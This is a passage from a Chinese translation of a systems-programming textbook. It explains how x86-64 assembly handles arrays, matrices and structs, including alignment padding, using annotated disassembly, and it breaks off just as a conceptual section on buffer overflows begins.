虽然这个翻译初看起来可能与原始的 `sumr` 函数不完全相同,但仔细检查后会发现这两个函数实际上是等效的。
#### 7.6.1 动画:观察调用栈的变化
作为练习,我们鼓励你绘制出堆栈,并观察值是如何变化的。我们在网上提供了一个动画,展示了当我们用值 3 运行这个函数时,堆栈是如何更新的。^(2)
### 7.7 数组
回忆一下,数组(详见“数组简介”章节,第 44 页)是由相同类型的数据元素按顺序存储在内存中的集合。静态分配的一维数组(详见“一维数组”章节,第 81 页)的形式为 <type> `arr[N]`,其中 <type> 是数据类型,`arr` 是与数组关联的标识符,`N` 是数据元素的数量。声明一个数组时,静态声明为 <type> `arr[N]` 或动态声明为 `arr = malloc(N * sizeof(` <type>`))` 会分配 `N` × `sizeof(` <type>`)` 总字节的内存。
要访问数组 `arr` 中索引为 `i` 的元素,可以使用 `arr[i]` 语法。编译器通常会在转换为汇编代码之前,将数组引用转换为指针运算(详见“指针变量”章节,第 67 页)。因此,`arr+i` 等同于 `&arr[i]`,而 `*(arr+i)` 等同于 `arr[i]`。由于数组 `arr` 中的每个数据元素的类型是 <type>,因此 `arr+i` 表示元素 `i` 存储在地址 `arr` + `sizeof(` <type>`)` × `i` 处。
表 7-18 列出了常见的数组操作及其对应的汇编指令。在接下来的例子中,假设我们声明了一个长度为 10 的 `int` 数组(`int arr[10]`)。假设寄存器 `%rdx` 存储 `arr` 的地址,寄存器 `%rcx` 存储 `int` 类型的值 `i`,寄存器 `%rax` 表示某个变量 `x`(类型也是 `int`)。回忆一下,`int` 类型的变量占用 4 个字节,而 `int *` 类型的变量占用 8 个字节。
**表 7-18:** 常见数组操作及其对应的汇编表示
| **操作** | **类型** | **汇编表示** |
| --- | --- | --- |
| `x = arr` | `int *` | `mov %rdx,%rax` |
| `x = arr[0]` | `int` | `mov (%rdx),%eax` |
| `x = arr[i]` | `int` | `mov (%rdx,%rcx,4),%eax` |
| `x = &arr[3]` | `int *` | `lea 0xc(%rdx),%rax` |
| `x = arr+3` | `int *` | `lea 0xc(%rdx),%rax` |
| `x = *(arr+5)` | `int` | `mov 0x14(%rdx),%eax` |
请特别注意表 7-18 中每个表达式的*类型*。一般来说,编译器使用 `mov` 指令来解引用指针,使用 `lea` 指令来计算地址。
注意,要访问元素 `arr[3]`(或使用指针运算 `*(arr+3)`),编译器会对地址 `arr+3*4` 进行内存查找,而不是 `arr+3`。要理解为什么这样做是必要的,请回忆一下,数组中任何索引为 `i` 的元素都会存储在地址 `arr + sizeof(<type>) * i` 处。因此,编译器必须将索引乘以数据类型的大小(在本例中为四,因为 `sizeof(int)` = 4)来计算正确的偏移量。还请记住,内存是按字节寻址的;通过正确字节数的偏移来计算地址就是获取地址的方式。最后,由于 `int` 类型的值只需要四个字节的空间,它们存储在寄存器 `%rax` 的组件寄存器 `%eax` 中。
举个例子,考虑一个包含 10 个整数元素的数组(`array`)(见图 7-7)。

*图 7-7:内存中 10 个整数数组的布局。每个标记为 *x*[*i*] 的框表示四个字节。*
注意,由于 `array` 是一个整数数组,每个元素占用正好四个字节。因此,一个包含 10 个元素的整数数组会消耗 40 个字节的连续内存。
要计算元素 3 的地址,编译器将索引 3 乘以整数类型的数据大小(4),得到偏移量 12(或 0xc)。果然,图 7-7 中的元素 3 位于字节偏移 *x*[12] 处。
让我们来看一个简单的 C 函数 `sumArray`,它将数组中所有元素求和:
int sumArray(int *array, int length) {
int i, total = 0;
for (i = 0; i < length; i++) {
total += array[i];
}
return total;
}
`sumArray` 函数接收一个数组的地址及该数组的长度,并将数组中所有元素求和。现在让我们看一下 `sumArray` 函数的对应汇编代码:
0x400686 <+0>: push %rbp # save %rbp
0x400687 <+1>: mov %rsp,%rbp # update %rbp (new stack frame)
0x40068a <+4>: mov %rdi,-0x18(%rbp) # copy array to %rbp-0x18
0x40068e <+8>: mov %esi,-0x1c(%rbp) # copy length to %rbp-0x1c
0x400691 <+11>: movl $0x0,-0x4(%rbp) # copy 0 to %rbp-0x4 (total)
0x400698 <+18>: movl $0x0,-0x8(%rbp) # copy 0 to %rbp-0x8 (i)
0x40069f <+25>: jmp 0x4006be <sumArray+56> # goto <sumArray+56>
0x4006a1 <+27>: mov -0x8(%rbp),%eax # copy i to %eax
0x4006a4 <+30>: cltq # convert i to a 64-bit integer
0x4006a6 <+32>: lea 0x0(,%rax,4),%rdx # copy i*4 to %rdx
0x4006ae <+40>: mov -0x18(%rbp),%rax # copy array to %rax
0x4006b2 <+44>: add %rdx,%rax # compute array+i*4, store in %rax
0x4006b5 <+47>: mov (%rax),%eax # copy array[i] to %eax
0x4006b7 <+49>: add %eax,-0x4(%rbp) # add %eax to total
0x4006ba <+52>: addl $0x1,-0x8(%rbp) # add 1 to i (i+=1)
0x4006be <+56>: mov -0x8(%rbp),%eax # copy i to %eax
0x4006c1 <+59>: cmp -0x1c(%rbp),%eax # compare i to length
0x4006c4 <+62>: jl 0x4006a1 <sumArray+27> # if i<length goto <sumArray+27>
0x4006c6 <+64>: mov -0x4(%rbp),%eax # copy total to %eax
0x4006c9 <+67>: pop %rbp # prepare to leave the function
0x4006ca <+68>: retq # return total
在跟踪这段汇编代码时,考虑访问的数据是表示地址还是值。例如,位于 `<sumArray+11>` 的指令会将 `%rbp-0x4` 设置为一个 `int` 类型的变量,初始值为 0。相反,存储在 `%rbp-0x18` 的参数是传递给函数的第一个参数(`array`),它的类型是 `int *`,对应数组的基地址。另一个不同的变量(我们称之为 `i`)存储在位置 `%rbp-0x8`。最后,请注意,只有在必要时,像 `add` 和 `mov` 这样的指令后才会附加大小后缀。在涉及常数值的情况下,编译器需要明确指出有多少字节的常数正在被移动。
敏锐的读者会注意到在 `<sumArray+30>` 这一行出现了一个以前未见的指令 `cltq`。`cltq` 指令代表“将长整型转换为四倍长整型”,它将存储在 `%eax` 中的 32 位 `int` 值转换为存储在 `%rax` 中的 64 位整数值。这一操作是必要的,因为后续的指令涉及指针运算。请记住,在 64 位系统中,指针占用 8 字节的空间。编译器使用 `cltq` 来简化过程,确保所有数据都存储在 64 位寄存器中,而不是 32 位组件中。
让我们仔细看看位于 `<sumArray+32>` 和 `<sumArray+49>` 之间的五条指令:
<+32>: lea 0x0(,%rax,4),%rdx # copy i*4 to %rdx
<+40>: mov -0x18(%rbp),%rax # copy array to %rax
<+44>: add %rdx,%rax # add i*4 to array (i.e. array+i) to %rax
<+47>: mov (%rax),%eax # dereference array+i*4, place in %eax
<+49>: add %eax,-0x4(%rbp) # add %eax to total (i.e. total+=array[i])
记住,编译器通常使用 `lea` 来对操作数执行简单的算术运算。操作数 `0x0(,%rax,4)` 转换为 `%rax*4 + 0x0`。由于 `%rax` 存储了 `i` 的值,这个操作将 `i*4` 的值复制到 `%rdx`。此时,`%rdx` 包含计算 `array[i]` 正确偏移量所需的字节数(回想一下 `sizeof(int)` = 4)。
接下来的指令(`mov -0x18(%rbp),%rax`)将函数的第一个参数(`array` 的基地址)复制到寄存器 `%rax` 中。在下一条指令中将 `%rdx` 加到 `%rax` 中,导致 `%rax` 包含 `array + i*4`。回想一下,`array` 中索引为 `i` 的元素存储在地址 `array + sizeof(<type>) * i` 处。因此,`%rax` 现在包含了 `&array[i]` 的汇编级别地址计算。
位于 `<sumArray+47>` 的指令*解引用*了 `%rax` 中的值,将 `array[i]` 的值放入 `%eax`。注意使用了组件寄存器 `%eax`,因为 `array[i]` 包含一个 32 位的 `int` 值!与此不同,变量 `i` 在 `<sumArray+30>` 行被更改为四字(quad-word),因为 `i` 即将用于*地址计算*。再强调一下,地址作为 64 位字存储。
最后,`%eax` 被加到 `%rbp-0x4` 中的值,即 `total`。因此,位于 `<sumArray+22>` 和 `<sumArray+39>` 之间的五条指令对应于 `sumArray` 函数中的 `total += array[i]` 这一行。
### 7.8 矩阵
矩阵是一个二维数组。在 C 语言中,矩阵可以作为二维数组(`M[n][m]`)静态分配,也可以通过一次调用 `malloc` 动态分配,或者作为数组的数组进行动态分配。让我们考虑数组的数组实现。第一个数组包含 `n` 个元素(`M[n]`),矩阵中的每个元素 `M[i]` 都包含一个包含 `m` 个元素的数组。以下代码片段声明了大小为 4 × 3 的矩阵:
//statically allocated matrix (allocated on stack)
int M1[4][3];
//dynamically allocated matrix (programmer friendly, allocated on heap)
int **M2, i;
M2 = malloc(4 * sizeof(int*));
for (i = 0; i < 4; i++) {
M2[i] = malloc(3 * sizeof(int));
}
在动态分配的矩阵中,主数组包含一系列连续的 `int` 指针。每个整数指针都指向内存中的一个不同数组。图 7-8 展示了我们通常如何可视化每个矩阵。

*图 7-8:静态分配(`M1`)和动态分配(`M2`)的 3 × 4 矩阵示意图*
对于这两种矩阵声明,可以使用双重索引语法 `M[i][j]` 访问元素 (*i*,*j*),其中 `M` 可以是 `M1` 或 `M2`。然而,这些矩阵在内存中的组织方式不同。尽管这两种矩阵都将元素连续存储在其主数组中,我们的静态分配矩阵还将所有行连续存储在内存中,如图 7-9 所示。

*图 7-9:矩阵 `M1` 按行优先顺序的内存布局*
对于`M2`,这种连续的排列方式并不保证。回想一下(参见“二维数组内存布局”章节的第 86 页),为了在堆上连续分配一个*n* × *m*矩阵,我们应该使用一次`malloc`调用来分配*n* × *m*个元素:
//dynamic matrix (allocated on heap, memory efficient way)
define ROWS 4
define COLS 3
int *M3;
M3 = malloc(ROWS * COLS * sizeof(int));
回想一下,声明`M3`时,元素(*i*,*j*)不能使用`M[i][j]`的表示法访问。相反,我们必须使用格式`M3[i*COLS + j]`来索引元素。
#### 7.8.1 连续二维数组
考虑一个函数`sumMat`,它的第一个参数是指向连续分配的(无论是静态分配的还是内存高效的动态分配的)矩阵的指针,后面跟着行数和列数,并返回矩阵中所有元素的和。
我们在接下来的代码片段中使用了缩放索引,因为它适用于静态分配和动态分配的连续矩阵。回想一下,语法`m[i][j]`不能在前面讨论的内存高效的连续动态分配中使用。
int sumMat(int *m, int rows, int cols) {
int i, j, total = 0;
for (i = 0; i < rows; i++){
for (j = 0; j < cols; j++){
total += m[i*cols + j];
}
}
return total;
}
下面是对应的汇编代码。每一行都带有其英文翻译的注释:
Dump of assembler code for function sumMat:
0x400686 <+0>: push %rbp # save rbp
0x400687 <+1>: mov %rsp,%rbp # update rbp (new stack frame)
0x40068a <+4>: mov %rdi,-0x18(%rbp) # copy m to %rbp-0x18
0x40068e <+8>: mov %esi,-0x1c(%rbp) # copy rows to %rbp-0x1c
0x400691 <+11>: mov %edx,-0x20(%rbp) # copy cols parameter to %rbp-0x20
0x400694 <+14>: movl $0x0,-0x4(%rbp) # copy 0 to %rbp-0x4 (total)
0x40069b <+21>: movl $0x0,-0xc(%rbp) # copy 0 to %rbp-0xc (i)
0x4006a2 <+28>: jmp 0x4006e1 <sumMat+91> # goto <sumMat+91>
0x4006a4 <+30>: movl $0x0,-0x8(%rbp) # copy 0 to %rbp-0x8 (j)
0x4006ab <+37>: jmp 0x4006d5 <sumMat+79> # goto <sumMat+79>
0x4006ad <+39>: mov -0xc(%rbp),%eax # copy i to %eax
0x4006b0 <+42>: imul -0x20(%rbp),%eax # mult i with cols, place in %eax
0x4006b4 <+46>: mov %eax,%edx # copy i*cols to %edx
0x4006b6 <+48>: mov -0x8(%rbp),%eax # copy j to %eax
0x4006b9 <+51>: add %edx,%eax # add i*cols with j, place in %eax
0x4006bb <+53>: cltq # convert %eax to a 64-bit int
0x4006bd <+55>: lea 0x0(,%rax,4),%rdx # mult (i*cols+j) by 4,put in %rdx
0x4006c5 <+63>: mov -0x18(%rbp),%rax # copy m to %rax
0x4006c9 <+67>: add %rdx,%rax # add m to (icols+j)4,put in %rax
0x4006cc <+70>: mov (%rax),%eax # copy m[i*cols+j] to %eax
0x4006ce <+72>: add %eax,-0x4(%rbp) # add m[i*cols+j] to total
0x4006d1 <+75>: addl $0x1,-0x8(%rbp) # add 1 to j (j++)
0x4006d5 <+79>: mov -0x8(%rbp),%eax # copy j to %eax
0x4006d8 <+82>: cmp -0x20(%rbp),%eax # compare j with cols
0x4006db <+85>: jl 0x4006ad <sumMat+39> # if (j < cols) goto <sumMat+39>
0x4006dd <+87>: addl $0x1,-0xc(%rbp) # add 1 to i
0x4006e1 <+91>: mov -0xc(%rbp),%eax # copy i to %eax
0x4006e4 <+94>: cmp -0x1c(%rbp),%eax # compare i with rows
0x4006e7 <+97>: jl 0x4006a4 <sumMat+30> # if (i < rows) goto <sumMat+30>
0x4006e9 <+99>: mov -0x4(%rbp),%eax # copy total to %eax
0x4006ec <+102>: pop %rbp # clean up stack
0x4006ed <+103>: retq # return total
局部变量`i`、`j`和`total`分别加载到栈上的地址`%rbp-0xc`、`%rbp-0x8`和`%rbp-0x4`中。输入参数`m`、`row`和`cols`分别存储在`%rbp-0x8`、`%rbp-0x1c`和`%rbp-0x20`位置。利用这些知识,让我们聚焦于处理矩阵中元素(*i*,*j*)访问的部分:
0x4006ad <+39>: mov -0xc(%rbp),%eax # copy i to %eax
0x4006b0 <+42>: imul -0x20(%rbp),%eax # multiply i with cols, place in %eax
0x4006b4 <+46>: mov %eax,%edx # copy i*cols to %edx
第一组指令计算`i*cols`的值并将其放入寄存器`%edx`中。回想一下,对于名为`matrix`的矩阵,`matrix + (i*cols)`等价于`&matrix[i]`。
0x4006b6 <+48>: mov -0x8(%rbp),%eax # copy j to %eax
0x4006b9 <+51>: add %edx,%eax # add i*cols with j, place in %eax
0x4006bb <+53>: cltq # convert %eax to a 64-bit int
0x4006bd <+55>: lea 0x0(,%rax,4),%rdx # multiply (i*cols+j) by 4,put in %rdx
下一组指令计算`(i*cols + j)*4`。编译器将索引`i*cols+j`乘以四,因为矩阵中的每个元素是一个四字节的整数,这样乘法可以使编译器计算出正确的偏移量。在`<sumMat+53>`行的`cltq`指令需要将`%eax`的内容扩展为 64 位整数,因为该值将用于地址计算。
接下来,以下一组指令将计算出的偏移量加到矩阵指针上,并解引用它以得到元素(*i*,*j*)的值:
0x4006c5 <+63>: mov -0x18(%rbp),%rax # copy m to %rax
0x4006c9 <+67>: add %rdx,%rax # add m to (icols+j)4, place in %rax
0x4006cc <+70>: mov (%rax),%eax # copy m[i*cols+j] to %eax
0x4006ce <+72>: add %eax,-0x4(%rbp) # add m[i*cols+j] to total
第一条指令将矩阵`m`的地址加载到寄存器`%rax`中。`add`指令将`(i*cols + j)*4`加到`m`的地址上,从而正确计算元素(*i*,*j*)的偏移量。第三条指令解引用`%rax`中的地址,并将值放入`%eax`中。注意使用`%eax`作为目标寄存器;由于我们的矩阵包含整数,而整数占用四个字节,因此再次使用`%eax`而不是`%rax`。
最后一条指令将`%eax`中的值加到位于栈地址`%rbp-0x4`处的累加器`total`中。
让我们考虑如何访问图 7-9 中的元素(1,2)。为了方便起见,图示在图 7-10 中已重现:

*图 7-10:矩阵`M1`的按行优先顺序存储的内存布局*
元素(1,2)位于地址`M1 + 1*COLS + 2`。由于`COLS`=3,元素(1,2)对应于`M1+5`。为了访问该位置的元素,编译器必须将 5 乘以`int`数据类型的大小(四个字节),得到偏移量`M1+20`,这对应于图中的字节*x*[20]。解引用这个位置得到元素 5,确实是矩阵中的元素(1,2)。
#### 7.8.2 非连续矩阵
非连续矩阵的实现稍微复杂一些。图 7-11 展示了`M2`如何在内存中布局。

*图 7-11:矩阵`M2`的非连续内存布局*
请注意,指针数组是连续的,并且`M2`的每个元素所指向的数组(例如,`M2[i]`)是连续的。然而,单独的数组之间并不连续。由于`M2`是指针数组,`M2`的每个元素占用八个字节的空间。相比之下,由于`M2[i]`是`int`数组,`M2[i]`中的每个元素相隔四个字节。
以下示例中的`sumMatrix`函数将一个整数指针数组(称为`matrix`)作为第一个参数,行数和列数作为第二和第三个参数:
int sumMatrix(int **matrix, int rows, int cols) {
int i, j, total=0;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
total += matrix[i][j];
}
}
return total;
}
尽管这个函数看起来与之前展示的`sumMat`函数几乎相同,但该函数接受的矩阵是一个连续的指针数组。每个指针包含一个单独连续数组的地址,该数组对应矩阵中的一行。
以下是`sumMatrix`的对应汇编代码。每行都附有英文翻译。
Dump of assembler code for function sumMatrix:
0x4006ee <+0>: push %rbp # save rbp
0x4006ef <+1>: mov %rsp,%rbp # update rbp (new stack frame)
0x4006f2 <+4>: mov %rdi,-0x18(%rbp) # copy matrix to %rbp-0x18
0x4006f6 <+8>: mov %esi,-0x1c(%rbp) # copy rows to %rbp-0x1c
0x4006f9 <+11>: mov %edx,-0x20(%rbp) # copy cols to %rbp-0x20
0x4006fc <+14>: movl $0x0,-0x4(%rbp) # copy 0 to %rbp-0x4 (total)
0x400703 <+21>: movl $0x0,-0xc(%rbp) # copy 0 to %rbp-0xc (i)
0x40070a <+28>: jmp 0x40074e <sumMatrix+96> # goto <sumMatrix+96>
0x40070c <+30>: movl $0x0,-0x8(%rbp) # copy 0 to %rbp-0x8 (j)
0x400713 <+37>: jmp 0x400742 <sumMatrix+84> # goto <sumMatrix+84>
0x400715 <+39>: mov -0xc(%rbp),%eax # copy i to %eax
0x400718 <+42>: cltq # convert i to 64-bit integer
0x40071a <+44>: lea 0x0(,%rax,8),%rdx # mult i by 8, place in %rdx
0x400722 <+52>: mov -0x18(%rbp),%rax # copy matrix to %rax
0x400726 <+56>: add %rdx,%rax # put i*8 + matrix in %rax
0x400729 <+59>: mov (%rax),%rax # copy matrix[i] to %rax (ptr)
0x40072c <+62>: mov -0x8(%rbp),%edx # copy j to %edx
0x40072f <+65>: movslq %edx,%rdx # convert j to 64-bit integer
0x400732 <+68>: shl $0x2,%rdx # mult j by 4, place in %rdx
0x400736 <+72>: add %rdx,%rax # put j*4 + matrix[i] in %rax
0x400739 <+75>: mov (%rax),%eax # copy matrix[i][j] to %eax
0x40073b <+77>: add %eax,-0x4(%rbp) # add matrix[i][j] to total
0x40073e <+80>: addl $0x1,-0x8(%rbp) # add 1 to j (j++)
0x400742 <+84>: mov -0x8(%rbp),%eax # copy j to %eax
0x400745 <+87>: cmp -0x20(%rbp),%eax # compare j with cols
0x400748 <+90>: jl 0x400715 <sumMatrix+39> # if j<cols goto<sumMatrix+39>
0x40074a <+92>: addl $0x1,-0xc(%rbp) # add 1 to i (i++)
0x40074e <+96>: mov -0xc(%rbp),%eax # copy i to %eax
0x400751 <+99>: cmp -0x1c(%rbp),%eax # compare i with rows
0x400754 <+102>: jl 0x40070c <sumMatrix+30> # if i<rows goto<sumMatrix+30>
0x400756 <+104>: mov -0x4(%rbp),%eax # copy total to %eax
0x400759 <+107>: pop %rbp # restore %rbp
0x40075a <+108>: retq # return total
再次说明,变量`i`、`j`和`total`分别位于栈地址`%rbp-0xc`、`%rbp-0x8`和`%rbp-0x4`。输入参数`matrix`、`row`和`cols`分别位于栈地址`%rbp-0x18`、`%rbp-0x1c`和`%rbp-0x20`。
让我们放大专门处理元素访问(*i*,*j*),即`matrix[i][j]`的部分:
0x400715 <+39>: mov -0xc(%rbp),%eax # copy i to %eax
0x400718 <+42>: cltq # convert i to 64-bit integer
0x40071a <+44>: lea 0x0(,%rax,8),%rdx # multiply i by 8, place in %rdx
0x400722 <+52>: mov -0x18(%rbp),%rax # copy matrix to %rax
0x400726 <+56>: add %rdx,%rax # add i*8 to matrix, place in %rax
0x400729 <+59>: mov (%rax),%rax # copy matrix[i] to %rax (pointer)
本示例中的五条指令计算`matrix[i]`,或`*(matrix+i)`。由于`matrix[i]`包含一个指针,首先将`i`转换为 64 位整数。然后,编译器在将`i`加到`matrix`之前,将其乘以八,以计算正确的地址偏移量(记住,指针的大小是八个字节)。`<sumMatrix+59>`处的指令随后解引用计算出的地址,以获取元素`matrix[i]`。
由于`matrix`是一个`int`指针数组,`matrix[i]`中定位的元素本身是一个`int`指针。`matrix[i]`中的第*j*个元素位于`matrix[i]`数组中的偏移量*j* × 4 处。
下一组指令提取数组`matrix[i]`中的第*j*个元素:
0x40072c <+62>: mov -0x8(%rbp),%edx # copy j to %edx
0x40072f <+65>: movslq %edx,%rdx # convert j to a 64-bit integer
0x400732 <+68>: shl $0x2,%rdx # multiply j by 4, place in %rdx
0x400736 <+72>: add %rdx,%rax # add j*4 to matrix[i], put in %rax
0x400739 <+75>: mov (%rax),%eax # copy matrix[i][j] to %eax
0x40073b <+77>: add %eax,-0x4(%rbp) # add matrix[i][j] to total
该代码片段中的第一条指令将变量 `j` 加载到寄存器 `%edx` 中。位于 `<sumMatrix+65>` 的 `movslq` 指令将 `%edx` 转换为 64 位整数,并将结果存储到 64 位寄存器 `%rdx` 中。然后,编译器使用左移(`shl`)指令将 `j` 乘以四,并将结果存储到寄存器 `%rdx` 中。最后,编译器将结果值加到 `matrix[i]` 中的地址,得到元素 `matrix[i][j]` 的地址。位于 `<sumMatrix+75>` 和 `<sumMatrix+77>` 的指令获取 `matrix[i][j]` 的值,并将该值加到 `total` 中。
让我们重新查看 图 7-11,并考虑访问 M2[1][2] 的一个示例。为方便起见,我们在 图 7-12 中重新展示该图:

*图 7-12:矩阵 `M2` 在内存中的非连续布局*
请注意,`M2` 从内存位置 *x*[0] 开始。编译器首先通过将 1 乘以 8(`sizeof(int *)`),并将其加到 `M2` 的地址(*x*[0])来计算 `M2[1]` 的地址,得到了新地址 *x*[8]。对该地址进行解引用后,得到与 `M2[1]` 相关联的地址,即 *x*[36]。接着,编译器将索引 2 乘以 4(`sizeof(int)`),并将结果(8)加到 *x*[36],得到最终的地址 *x*[44]。解引用该地址后,得到值 5。果然,在 图 7-11 中对应 `M2[1][2]` 的元素的值为 5。
### 7.9 汇编中的结构体
`struct`(参见 第 103 页 的“C 结构体”)是 C 语言中另一种创建数据类型集合的方式。与数组不同,结构体允许不同的数据类型被组合在一起。C 语言像处理一维数组一样存储 `struct`,其中数据元素(字段)是连续存储的。让我们重新查看 第一章 中的 `struct studentT`:
struct studentT {
char name[64];
int age;
int grad_yr;
float gpa;
};
struct studentT student;
图 7-13 展示了 `student` 在内存中的布局。每个 *x*[*i*] 表示特定字段的地址。

*图 7-13:`struct studentT` 的内存布局*
字段按照声明的顺序在内存中连续存储。在 图 7-13 中,`age` 字段被分配到紧跟 `name` 字段之后的内存位置(字节偏移 *x*[64]),之后是 `grad_yr`(字节偏移 *x*68)和 `gpa`(字节偏移 *x*[72])字段。这样的布局使得对字段的内存访问更加高效。
为了理解编译器如何生成汇编代码来处理 `struct`,请考虑 `initStudent` 函数:
void initStudent(struct studentT *s, char *nm, int ag, int gr, float g) {
strncpy(s->name, nm, 64);
s->grad_yr = gr;
s->age = ag;
s->gpa = g;
}
`initStudent` 函数将 `struct studentT` 的基地址作为第一个参数,其他参数则是每个字段所需的值。以下列出了该函数的汇编代码:
Dump of assembler code for function initStudent:
0x4006aa <+0>: push %rbp # save rbp
0x4006ab <+1>: mov %rsp,%rbp # update rbp (new stack frame)
0x4006ae <+4>: sub $0x20,%rsp # add 32 bytes to stack frame
0x4006b2 <+8>: mov %rdi,-0x8(%rbp) # copy 1st param to %rbp-0x8 (s)
0x4006b6 <+12>: mov %rsi,-0x10(%rbp) # copy 2nd param to %rpb-0x10 (nm)
0x4006ba <+16>: mov %edx,-0x14(%rbp) # copy 3rd param to %rbp-0x14 (ag)
0x4006bd <+19>: mov %ecx,-0x18(%rbp) # copy 4th param to %rbp-0x18 (gr)
0x4006c0 <+22>: movss %xmm0,-0x1c(%rbp) # copy 5th param to %rbp-0x1c (g)
0x4006c5 <+27>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006c9 <+31>: mov -0x10(%rbp),%rcx # copy nm to %rcx
0x4006cd <+35>: mov $0x40,%edx # copy 0x40 (or 64) to %edx
0x4006d2 <+40>: mov %rcx,%rsi # copy nm to %rsi
0x4006d5 <+43>: mov %rax,%rdi # copy s to %rdi
0x4006d8 <+46>: callq 0x400460 strncpy@plt # call strcnpy(s->name, nm, 64)
0x4006dd <+51>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006e1 <+55>: mov -0x18(%rbp),%edx # copy gr to %edx
0x4006e4 <+58>: mov %edx,0x44(%rax) # copy gr to %rax+0x44 (s->grad_yr)
0x4006e7 <+61>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006eb <+65>: mov -0x14(%rbp),%edx # copy ag to %edx
0x4006ee <+68>: mov %edx,0x40(%rax) # copy ag to %rax+0x40 (s->age)
0x4006f1 <+71>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006f5 <+75>: movss -0x1c(%rbp),%xmm0 # copy g to %xmm0
0x4006fa <+80>: movss %xmm0,0x48(%rax) # copy g to %rax+0x48
0x400700 <+86>: leaveq # prepare stack to exit function
0x400701 <+87>: retq # return (void func, %rax ignored)
牢记每个字段的字节偏移量对于理解这段代码至关重要。以下是一些需要注意的事项。
`strncpy` 调用接受三个参数:`s` 中 `name` 字段的基址、数组 `nm` 的地址,以及长度说明符。回想一下,由于 `name` 是 `struct studentT` 中的第一个字段,`s` 的地址就是 `s->name` 的地址。
0x4006b2 <+8>: mov %rdi,-0x8(%rbp) # copy 1st param to %rbp-0x8 (s)
0x4006b6 <+12>: mov %rsi,-0x10(%rbp) # copy 2nd param to %rpb-0x10 (nm)
0x4006ba <+16>: mov %edx,-0x14(%rbp) # copy 3rd param to %rbp-0x14 (ag)
0x4006bd <+19>: mov %ecx,-0x18(%rbp) # copy 4th param to %rbp-0x18 (gr)
0x4006c0 <+22>: movss %xmm0,-0x1c(%rbp) # copy 5th param to %rbp-0x1c (g)
0x4006c5 <+27>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006c9 <+31>: mov -0x10(%rbp),%rcx # copy nm to %rcx
0x4006cd <+35>: mov $0x40,%edx # copy 0x40 (or 64) to %edx
0x4006d2 <+40>: mov %rcx,%rsi # copy nm to %rsi
0x4006d5 <+43>: mov %rax,%rdi # copy s to %rdi
0x4006d8 <+46>: callq 0x400460 strncpy@plt #call strcnpy(s->name, nm, 64)
这段代码包含了之前未讨论的寄存器(`%xmm0`)和指令(`movss`)。`%xmm0` 寄存器是为浮点值保留的寄存器之一。`movss` 指令表示移动到调用栈上的数据是单精度浮点类型。
下一部分(指令 `<initStudent+51>` 到 `<initStudent+58>`)将 `gr` 参数的值放置到 `s` 开始处偏移量为 0x44(或 68)的位置。重新查看 图 7-13 中的内存布局,可以看到这个地址对应于 `s->grad_yr`:
0x4006dd <+51>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006e1 <+55>: mov -0x18(%rbp),%edx # copy gr to %edx
0x4006e4 <+58>: mov %edx,0x44(%rax) # copy gr to %rax+0x44 (s->grad_yr)
下一部分(指令 `<initStudent+61>` 到 `<initStudent+68>`)将 `ag` 参数复制到 `struct` 的 `s->age` 字段,该字段位于 `s` 地址偏移量为 0x40(或 64)字节的位置:
0x4006e7 <+61>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006eb <+65>: mov -0x14(%rbp),%edx # copy ag to %edx
0x4006ee <+68>: mov %edx,0x40(%rax) # copy ag to %rax+0x40 (s->age)
最后,`g` 参数的值被复制到 `struct` 的 `s->gpa` 字段(字节偏移量为 72 或 0x48)。请注意 `%xmm0` 寄存器的使用,因为位于 `%rbp-0x1c` 位置的数据是单精度浮点数:
0x4006f1 <+71>: mov -0x8(%rbp),%rax # copy s to %rax
0x4006f5 <+75>: movss -0x1c(%rbp),%xmm0 # copy g to %xmm0
0x4006fa <+80>: movss %xmm0,0x48(%rax) # copy g to %rax+0x48
#### 7.9.1 数据对齐与结构体
考虑以下修改后的 `struct studentT` 声明:
struct studentTM {
char name[63]; //updated to 63 instead of 64
int age;
int grad_yr;
float gpa;
};
struct studentTM student2;
`name` 字段的大小被修改为 63 字节,而不是原来的 64 字节。考虑一下这如何影响 `struct` 在内存中的布局。可能会让人产生这样的错觉,即它的布局如同 图 7-14 所示。

*图 7-14:更新后的 `struct` `studentTM` 的内存布局不正确。请注意,`name` 字段已从 64 字节减少至 63 字节。*
在这个描述中,`age` 字段位于紧接在 `name` 字段后的字节中。但这是不正确的。图 7-15 展示了内存中实际的布局。

*图 7-15:更新后的 `struct` `studentTM` 的正确内存布局。编译器添加了字节 *x*[63] 以满足内存对齐要求,但它不对应任何字段。*
x64 的对齐策略要求两个字节的数据类型(即 `short`)位于一个字节对齐的地址,四个字节的数据类型(即 `int`、`float` 和 `unsigned`)位于四字节对齐的地址,而较大的数据类型(`long`、`double` 和指针数据)则位于八字节对齐的地址。对于 `struct`,编译器会在字段之间添加空字节作为 *填充*,以确保每个字段满足其对齐要求。例如,在 图 7-15 中声明的 `struct` 中,编译器会在字节 *x*[63] 处添加一个填充字节,以确保 `age` 字段从一个是四的倍数的地址开始。正确对齐的值可以通过一次操作读取或写入,从而提高效率。
考虑以下定义的 `struct`:
struct studentTM {
int age;
int grad_yr;
float gpa;
char name[63];
};
struct studentTM student3;
将 `name` 数组移到末尾确保了 `age`、`grad_yr` 和 `gpa` 的四字节对齐。大多数编译器会删除 `struct` 末尾的填充字节。然而,如果 `struct` 被用作数组的一部分(例如,`struct studentTM courseSection[20];`),编译器将再次在数组中每个 `struct` 之间添加填充字节,以确保对齐要求得到正确满足。
### 7.10 现实世界:缓冲区溢出
C 语言不进行自动数组边界检查。访问数组边界之外的内存是有问题的,通常会导致诸如段错误之类的错误。然而,一个聪明的攻击者可以注入恶意代码,故意超出数组的边界(也称为 *缓冲区*)来迫使程序以非预期的方式执行。在最糟糕的情况下,攻击者可以运行允许他们获得 *root 权限* 或操作系统级别访问的代码。利用程序中已知的缓冲区溢出错误的一个软件被称为 *缓冲区溢出漏洞攻击*。
在本节中,我们使用 GDB 和汇编语言来全面描述缓冲区溢出漏洞攻击的原理。在阅读本章之前,我们建议你先查阅 第 177 页的“调试汇编代码”部分。
#### 7.10.1 缓冲区溢出的著名实例
